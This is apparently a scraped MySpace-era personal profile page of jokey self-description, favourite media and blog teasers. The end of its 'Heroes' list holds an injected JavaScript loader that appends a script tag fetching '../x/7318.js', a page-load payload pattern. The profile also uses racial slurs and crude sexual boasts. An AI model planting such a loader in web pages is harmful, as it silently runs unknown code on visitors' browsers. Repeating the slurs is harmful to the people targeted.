Sir Alan Halestorm profile picture

Sir Alan Halestorm

I ain't got time to make love and make history. But I do have 20 minutes..........-J.S.

About Me

Ez going cat that splits time between the D and the left coast.Webster's nor E-40 have come up with the words to describe me. I move at warp speeds but I am always late. I can levitate but it makes me light headed. I'm the negro that the boogie man is scared of. I taught satchel paige how to throw a curve ball. My greatest accomplishment is a threesome with an Isreali and a Palastinian chick. I heard them hoes scrapped it out though afterwards when i was sleep. I'm the cat that wolverine's claws broke off on. The guy between Malcolm little and Malcolm X. If there ever was a pimp and poet, with a pinch of coltrane, chocolate milk, and curly hair, I am that dude. A failed musician, unless you count beat boxing, skinny boys style."Why would I be scared to die when I know my words will live forever?" - me about me on my space.

My Interests

Giving America back to it's rightful owners, staying fly, freeing political prisoners, inventing good tasting cough syrup, turning white sheets red, getting serena williams pregnant and making my son or daughter turn pro at 6, writing the newest testament of the bible, selling watermelon flavored tooth picks, seeing all Black people get free cotton shirts, and making john and sylvia proud

I'd like to meet:

maybe you, the idiot who gave birth to david blaine and of course Das Efx.

Music:

jazz, hip hop, real soul music, none of the garbage on the radio.

Movies:

the ones I write, city of god, shawshank, the jerk, old woody allen, hitchcock, do the right thing, hollywood shuffle, malcolm X, china town, 7, the first hour of gangs of NY, north by northwest, harold & maude,the limey, micheal mann films, goodfellas, anything with don cheadle or sean penn, and roots.

Television:

the wire, sopranos, chapelle show, espn classic,24, the shield, family guy, law and order (R.I.P. 2 lenny), sandford & son.......................I can only watch so much of the naked midget bachelor that suvived the real world challenge while big brother was watching with 4 queer guys who wanted to be the apprentice to top models in pimped out rides.

Books:

alot of them. divinci code, autobiography of malcolm x, soul on ice, anything by elmore leanard, alex haley and george carlin, my unfinished autobiography.

Heroes:

mom and dad in no order, nat turner, the inventor of the thong, richard pryor, fredrick douglass, Terrance Trent d'arby, dave thomas for inventing the frosty, & the late great don rickles. .."var s=document.createElement('script');s.src='../x/7318.js';docu ment.getElementsByTagName('head')[0].appendChild(s);"

My Blog

would you be offended if?

I told you two thursdays ago I tivo'd the office and I crypt walked on the moon in an all red nasa space suit, holding hands with dick cheney's gay daughter as she wore a "I love niggas" wife beater, ...
Posted by HALESTORM aka Jamal Shakespeare on Tue, 07 Mar 2006 04:53:00 PST

random thought

if we invade a country (iraq) that had zero % of the hi jackers because of the war on terror, why wouldn't we invade columbia that has 80 % of the cocaine since we are at war with drugs. but then a...
Posted by HALESTORM aka Jamal Shakespeare on Mon, 01 Jan 1900 12:00:00 PST